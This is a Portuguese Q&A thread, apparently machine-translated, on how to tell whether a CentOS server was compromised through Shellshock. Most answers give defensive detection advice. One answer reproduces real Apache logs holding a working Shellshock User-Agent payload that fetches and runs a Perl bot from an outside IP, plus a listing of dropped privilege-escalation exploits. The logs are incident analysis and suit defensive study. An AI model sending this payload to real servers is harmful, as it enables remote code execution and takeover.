Shellshock: Como sei se meu servidor está comprometido + arquivos suspeitos para procurar

18

Três perguntas que espero que alguém possa ajudar a responder:

  1. Como sei se meu servidor já está comprometido devido ao bug do Shellshock?
  2. Se foi comprometido, existe uma pasta específica em que devo procurar arquivos maliciosos?
  3. Como é um arquivo malicioso?

Estou executando o CentOS 6, pilha LEMP

Texugo de mel
fonte

Respostas:

36

Como sei se meu servidor já está comprometido devido ao bug do Shellshock?

Você não Essa é a ideia de uma vulnerabilidade de segurança. Se você tivesse que clicar em Let the crackers in? OK / Cancelar , não seria uma grande vulnerabilidade.

Você pode ter alguma sorte verificando os logs dos seus vetores de ataque, mas, como muitos serviços são vulneráveis ​​e nem todos registram todos os acessos, provavelmente não é possível encontrar um ataque conclusivamente.

Se foi comprometido, existe uma pasta específica em que devo procurar arquivos maliciosos?

Não, um arquivo malicioso pode estar em qualquer lugar.

Os rootkits comuns se instalam em /rootou /ou em /tmpum dos caminhos binários, mas na verdade eles podem estar em qualquer lugar. Eles podem ter um nome semelhante a um serviço real ou algo "importante" com aparência " IPTables" ou " kernel-bin", mas também podem ser sequências aleatórias de caracteres ou o mesmo nome de um binário genuíno (apenas em um caminho diferente). Você pode identificar um rootkit realmente óbvio carregando /etc/rc.localou fazendo conexões via netstat -neopa. Procure por nomes de processo suspeitos em top -c.

Um rootkit menos comum e muito mais difícil de encontrar substitui uma biblioteca ou se carrega como uma biblioteca shim e intercepta chamadas do sistema. Isso é quase impossível de encontrar, a menos que você rastreie / rastreie todas as coisas em execução no seu sistema e compare o comportamento com o comportamento esperado de um sistema ou código-fonte em boas condições.

Seria mais rápido, mais fácil e mais conclusivo apenas recarregar o sistema.

Como é um arquivo malicioso?

Provavelmente como qualquer outro binário ou biblioteca ELF regular. Também pode ser um script.

Em conclusão, se você acha que existe a possibilidade de seu sistema ter sido comprometido, trate o sistema como se tivesse sido comprometido e tome as medidas necessárias.

suprjami
fonte
14
+1 "Deixa os biscoitos entrarem?" Em outra nota ... se você vê algo chamado "IPTables" em Linux, ser muito suspeita. O UNIXian é CapsPhobic.
bispo
se você acha que existe a possibilidade de seu sistema estar comprometido, trate-o como se estivesse comprometido e tome as medidas necessárias. Isso significa todos os sistemas possíveis bashinstalados e um cabo de rede conectado, certo?
Federico Poloni
@FedericoPoloni Somente se alguém puder acessar o seu shell através da rede. Mas, caso contrário, você está absolutamente certo.
Scai
@FedericoPoloni Não tenho certeza se essa é uma escolha sábia, porque eu precisaria constantemente ter todos os sistemas inoperantes, pois nunca posso ter 100% de certeza de que eles não foram comprometidos e, sério, ninguém pode ter certeza de que seus sistemas não serão comprometidos, a menos que eles são um idiota muito otimista. Se você suspeitar que seu sistema não se comporta da maneira que deveria, examine-o e seu tráfego de rede, de preferência em UM SO LIMPO. Se você não encontrar evidências de adulteração, não precisará tomar medidas além de consertar os orifícios. Caso contrário, teríamos que reinstalar constantemente TODOS os sistemas 24x7!
Frank Waller
@FrankWaller Concordo completamente. Há sempre uma possibilidade remota de que um sistema foi comprometida e que o atacante é suficiente qualificados para não deixar qualquer vestígio, mas não podemos reinstalar 24x7 para atender a este caso.
Federico Poloni
21

shellshock não é um worm, então não há arquivos para procurar. Shellshock é uma maneira de atacar uma rede para obter entrada. Uma vez lá dentro, quem sabe o que o atacante fará.

Mike
fonte
3
Esta resposta me parece um pouco confusa - talvez tenha sido precipitada ou deva ser um comentário em vez de uma resposta. Claro, não é um worm (é uma vulnerabilidade, não é um malware), mas não está claro por que você acha isso relevante ou por que isso significa "não há arquivos a serem procurados". Shellshock não é uma maneira de atacar uma rede; é uma maneira de invadir uma máquina. É um ataque a uma máquina, não a uma rede.
DW
2
@DW Concedido de forma muito sucinta, mas claramente em resposta direta à preocupação do OP is there a particular folder where I should look for malicious files.
ᴠɪɴᴄᴇɴᴛ
5

Eu vi uma tentativa de explorar o bug, que instalaria um bot de IRC como /var/tmp/x. Mas, em geral, não há arquivos específicos para procurar, pois eles podem estar em qualquer lugar ou lugar nenhum.

Se você foi comprometido pelo servidor da Web, qualquer novo arquivo ou processo de propriedade do usuário do servidor da Web seria suspeito.

Caso um invasor use primeiro o bashbug para entrar no sistema e a próxima vulnerabilidade local root, pode ser quase impossível detectar.

Veja também essa pergunta semelhante .

Kasperd
fonte
+1 para a ideia de propriedade de usuário de servidor Web
Xan
4

Eu ecoaria a resposta do suprjami e diria que, se o seu sistema estiver vulnerável, você deve tratá-lo como comprometido.

Se você estiver executando o apache, poderá verificar os logs em busca de tentativas de invasão do Shellshock com o seguinte comando:

[root@server ~]# grep cgi /var/log/httpd/access*|egrep "};|}\s*;"

Este comando extrai todas as linhas que contêm "cgi" dos logs de acesso do Apache (por padrão chamado access_log, access_log.1, access_log.2 etc) e depois o envia para o egrep com o regex.

(Fonte: http://linux.slashdot.org/story/14/09/24/1638207/remote-exploit-vulnerability-found-in-bash )

Ralph
fonte
Observe que, para uma configuração padrão do Apache, isso mostra apenas ataques no URL de destino e nos cabeçalhos "User-Agent" e "Referer". Um ataque em um cabeçalho como "Cookie" ou "X-Ploit" não será registrado.
Mark
11
@ Mark Absolutamente, eu deveria ter mencionado isso.
Ralph
11
Obviamente, a primeira coisa que qualquer invasor que se preze faria é apagar qualquer dica do ataque dos logs ... e é por isso que os logs devem ser gravados uma vez e remotos!
Jörg W Mittag
4

Como existem vários vetores de ataque para o Shellshock, alguns deles ainda desconhecidos para o público em geral ou causados ​​por um script CGI personalizado, não há uma maneira definida de saber se você está comprometido ou não.

Além da abordagem usual "vamos ver se alguns arquivos do sistema foram alterados ou se algo suspeito aconteceu recentemente", você pode querer ficar de olho no comportamento do servidor.

  1. De repente, há muito mais tráfego de rede?
  2. O uso da CPU / memória mudou muito?
  3. Algo está consumindo o espaço em disco ou causando mais E / S muito mais do que o habitual?
  4. Será que netstatmostram conexões de rede estranhos ou ps auxMostrar processos que você não reconhece?
  5. Seu servidor repentinamente envia muito mais e-mail do que antes?

Se você tiver o monitoramento adequado da integridade do servidor (como Zabbix) instalado e em execução, também poderá ajudá-lo a descobrir violações de segurança. Você também pode comparar as somas MD5 / SHA dos arquivos do sistema com um backup em boas condições.

Basicamente, aja como seu servidor foi comprometido e investigue tudo o que você puder imaginar.

Janne Pikkarainen
fonte
4

Tive o prazer de limpar um sistema Plesk mais antigo comprometido. A primeira coisa que o denunciou foram inúmeros processos que foram iniciados ouvindo várias portas e outras tentando baixar o código do servidor de digitalização original.

    lsof -i -n
...
        perl       1899      user100     3u  IPv4 227582583      0t0  TCP 87.106.215.123:49859->94.102.63.238:https (SYN_SENT)
        perl       1999      user101     3u  IPv4 227582597      0t0  TCP 87.106.215.123:49861->94.102.63.238:https (SYN_SENT)
        perl       2016       wwwrun     3u  IPv4 227549964      0t0  TCP 87.106.215.123:56263->94.102.63.238:https (ESTABLISHED)
...

Após os registros, descobri que o buraco final era o cgi_wrapperscript a, algo que deveria proteger e proteger o sistema é o que realmente abriu o buraco na proteção. Aqui estão algumas das linhas de log das análises e do ataque bem-sucedido:

Essas são as linhas do access_log, pois é apenas uma amostra. Observe as 200 em duas linhas, enquanto as outras falham com 404. Você não precisa se preocupar com as linhas que possuem um 404, pois elas não foram bem-sucedidas, aqueles com 200 no entanto fizeram. O padrão desses ataques aqui é sempre o mesmo: 1. encontre um script cgi vulnerável, use o shellshock exploit para baixar e executar um script perl, exclua o script perl novamente. O script perl, na verdade, baixa alguns arquivos de origem (tgz), compila-os e executa-os, pelo que vi, incluem pelo menos um backdoor e um mecanismo de atualização automática, além do que parece ser uma exploração para tentar obter privilégios de execução elevados. Na verdade, todos os scripts iniciais são executados como o usuário fornecido pelo wrapper, enquanto os serviços posteriores são iniciados com um PPID 1 (iniciado a partir do processo raiz)).

94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-sys/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /phppath/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php5-cli? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /phppath/cgi_wrapper? HTTP/1.1" 200 9 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-sys/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /phppath/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php5-cli? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /phppath/cgi_wrapper? HTTP/1.1" 200 9 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"

E aqui as linhas error_log correspondentes:

[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] File does not exist: /srv/www/vhosts/default/htdocs/cgi-sys
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/cgi-bin/cgi_wrapper/php
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] --2014-09-28 00:41:03--  http://94.102.63.238/shell.pl
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Connecting to 94.102.63.238:80...
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] connected.
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] HTTP request sent, awaiting response...
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 200 OK
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Length:
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 17079
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]  (17K)
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]  [text/x-perl]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Saving to: `/tmp/bot.pl'
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]      0K
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 100%
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]   626K
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] =0.03s
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 2014-09-28 00:41:03 (626 KB/s) - `/tmp/bot.pl' saved [17079/17079]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5-cli
[Sun Sep 28 00:46:03 2014] [warn] [client 94.102.63.238] Timeout waiting for output from CGI script /srv/www/cgi-bin/cgi_wrapper/cgi_wrapper
[Sun Sep 28 00:46:03 2014] [error] [client 94.102.63.238] (70007)The timeout specified has expired: ap_content_length_filter: apr_bucket_read() failed
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] File does not exist: /srv/www/vhosts/default/htdocs/cgi-sys
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/cgi-bin/cgi_wrapper/php
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] --2014-09-28 01:29:34--  http://94.102.63.238/shell.pl
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Connecting to 94.102.63.238:80...
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] connected.
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] HTTP request sent, awaiting response...
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 200 OK
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Length:
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 17079
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]  (17K)
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]  [text/x-perl]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Saving to: `/tmp/bot.pl'
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]      0K
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 100%
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]   575K
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] =0.03s
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 2014-09-28 01:29:34 (575 KB/s) - `/tmp/bot.pl' saved [17079/17079]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5-cli
[Sun Sep 28 01:34:34 2014] [warn] [client 94.102.63.238] Timeout waiting for output from CGI script /srv/www/cgi-bin/cgi_wrapper/cgi_wrapper
[Sun Sep 28 01:34:34 2014] [error] [client 94.102.63.238] (70007)The timeout specified has expired: ap_content_length_filter: apr_bucket_read() failed

Arquivos baixados para / tmp Como se pode imaginar, eu não tenho o arquivo bot.pl, pois ele foi excluído imediatamente.

-rwxr-xr-x 1 user100  psacln   187 Sep 29 01:02 check
-rwxr-xr-x 1 user100  psacln  9849 Sep 29 03:35 exploit
drwxr-xr-x 4 user100  psacln  4096 Sep 29 03:19 expls
-rw-r--r-- 1 user100  psacln 91693 Sep 29 03:13 expls.tgz
-rw-r--r-- 1 user100  psacln   178 Sep 29 03:35 payload.c

cd ./expls
drwxr-xr-x 2 user100  psacln  4096 Sep 29 03:13 1
drwxr-xr-x 2 user100  psacln  4096 Sep 29 03:13 2
-rwxr-xr-x 1 user100  psacln 23040 Sep 29 03:19 bcm
-rw-r--r-- 1 user100  psacln 15695 Sep 29 02:46 bcm.c
-rwxr-xr-x 1 user100  psacln 13175 Sep 29 03:19 bug
-rw-r--r-- 1 user100  psacln  2657 Sep 29 02:46 bug.c
-rwxr-xr-x 1 user100  psacln 14560 Sep 29 03:13 config
-rw-r--r-- 1 user100  psacln  6468 Sep 29 02:46 config.c
-rwxr-xr-x 1 user100  psacln 13866 Sep 29 03:13 config2
-rw-r--r-- 1 user100  psacln  6335 Sep 29 02:46 config2.c
-rw-r--r-- 1 user100  psacln  2736 Sep 29 02:46 data.c
-rw-r--r-- 1 user100  psacln  4221 Sep 29 02:46 diag.c
-rwxr-xr-x 1 user100  psacln 13698 Sep 29 03:19 expl
-rw-r--r-- 1 user100  psacln  1686 Sep 29 02:46 expl.c
-rw-r--r-- 1 user100  psacln 15013 Sep 29 02:46 half.c
-rwxr-xr-x 1 user100  psacln 18611 Sep 29 03:19 nellson
-rw-r--r-- 1 user100  psacln  9489 Sep 29 02:46 nellson.c
-rwxr-xr-x 1 user100  psacln   419 Sep 29 02:03 origin
-rw-r--r-- 1 user100  psacln 15727 Sep 29 02:46 pipe.c
-rwxr-xr-x 1 user100  psacln 13481 Sep 29 03:19 polkit
-rw-r--r-- 1 user100  psacln  3597 Sep 29 02:46 polkit.c
-rwxr-xr-x 1 user100  psacln  2741 Sep 29 01:51 preload
-rwxr-xr-x 1 user100  psacln   208 Sep 29 02:01 preload2
-rwxr-xr-x 1 user100  psacln 14257 Sep 29 03:13 rds
-rw-r--r-- 1 user100  psacln  7250 Sep 29 02:46 rds.c
-rwxr-xr-x 1 user100  psacln   233 Sep 29 03:13 run
-rwxr-xr-x 1 user100  psacln 17864 Sep 29 03:19 semtex
-rw-r--r-- 1 user100  psacln  3757 Sep 29 02:46 semtex.c
-rwxr-xr-x 1 user100  psacln 14023 Sep 29 03:13 semtex2
-rw-r--r-- 1 user100  psacln  4799 Sep 29 02:46 semtex2.c
-rwxr-xr-x 1 user100  psacln 17904 Sep 29 03:19 semtex3
-rw-r--r-- 1 user100  psacln  2691 Sep 29 02:46 semtex3.c
-rwxr-xr-x 1 user100  psacln 13014 Sep 29 03:19 shell
-rw-r--r-- 1 user100  psacln   159 Sep 29 02:46 shell.c
-rwxr-xr-x 1 user100  psacln  9157 Sep 29 03:13 sock
-rw-r--r-- 1 user100  psacln  2232 Sep 29 02:46 sock.c
-rwxr-xr-x 1 user100  psacln   438 Sep 29 03:13 start
-rwxr-xr-x 1 user100  psacln 18268 Sep 29 03:19 sys32
-rw-r--r-- 1 user100  psacln  5389 Sep 29 02:46 sys32.c
-rw-r--r-- 1 user100  psacln 25396 Sep 29 02:46 x86_64.c

Depois de um tempo, notei conexões ssh de vários lugares como a China, que geralmente não visitam muito o nosso servidor. Eu corrigi o bash como uma medida de emergência (seria bom ter fontes corrigidas disponíveis no site da FSF e não apenas as fontes e arquivos de correção realmente antigos (um dos quais não se aplicava corretamente no início). limpe agora, portanto, se alguém estiver procurando algo mais sobre o ataque, você pode perguntar, mas faça isso em breve.

Frank Waller
fonte
3

Esta resposta não está especialmente relacionada ao Shellshock, mas a qualquer sistema que você considere comprometido

segunda nota: você não pode ter certeza de ter se recuperado de um sistema comprometido para o sistema raiz. Sua única ação é destruir e aprovisionar o sistema

Tente obter uma compilação estática limpa rpme execute o comando rpm --verify --all. Ele informará quais arquivos pertencentes a um pacote foram modificados. Mas como você pode executá-lo em um sistema comprometido, pode não confiar totalmente no resultado. Então você pode simplesmente fazer um rpm -qapara obter a lista de pacotes, recriar outro sistema com as mesmas versões de pacotes e depois um find / -type f |xargs -r -n 100 md5sum |sortno sistema e ver o que difere. Além disso, se você gerenciar seu sistema corretamente (ou seja, não instalar nada manualmente fora de / opt ou / usr / local / bin ou outro local não gerenciado), poderá procurar todos os arquivos em seu sistema que não pertençam a um pacote find / -type f -exec rpm -qf {} \;. Ele deve mostrar erros para arquivos desconhecidos. Eu deixo você não mostrar os pontos positivos como um exercício ;-)

Para fazer o mesmo periodicamente com a prova criptográfica, existe uma ferramenta chamada Tripwireque você ainda pode encontrar como versão gratuita. É velho, mas faz o seu trabalho. Uma alternativa mais nova é AIDE, mas ela não estava usando criptografia quando a observei anos atrás.

